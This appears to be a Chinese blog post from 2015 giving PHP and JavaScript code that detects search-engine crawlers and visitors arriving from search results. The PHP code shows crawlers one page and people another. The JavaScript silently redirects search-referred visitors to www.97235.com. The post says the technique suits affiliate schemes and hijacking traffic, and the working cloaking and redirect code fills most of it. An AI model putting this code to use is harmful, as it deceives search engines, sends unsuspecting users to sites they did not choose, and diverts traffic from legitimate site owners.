判断搜索引擎来路进行跳转的代码(PHP+JS)


发布时间:2015/4/6 11:59:04

PHP判断搜索引擎来路跳转代码:

<?php
$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
}
if($flag == false){
   //header("Location: http://www.97235.com" . $_SERVER['REQUEST_URI']);
    require_once("cd.htm");
    // 自动转到http://www.lishaocong.com 对应的网页
    // $_SERVER['REQUEST_URI'] 为域名后面的路径
    // 或 换成 header("Location: http://www.97235.com/abc/d.php");
   exit();
}
else
{
 require_once("news1.htm"); 
}
?>

JS判断搜索引擎来路跳转代码:

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href='http://www.97235.com'
}

直接输入域名,打开网页,没有任何异常。但是通过百度谷歌搜狗等搜索引擎点进来的用户,会执行跳转。可以用来做淘宝客,也可以用来劫持流量。
上一篇:“您未被授权查看该页,您不具备使用所提供的凭据查看该目录或 页的权限” -- 解决办法
下一篇:百度搜索页面被劫持脚本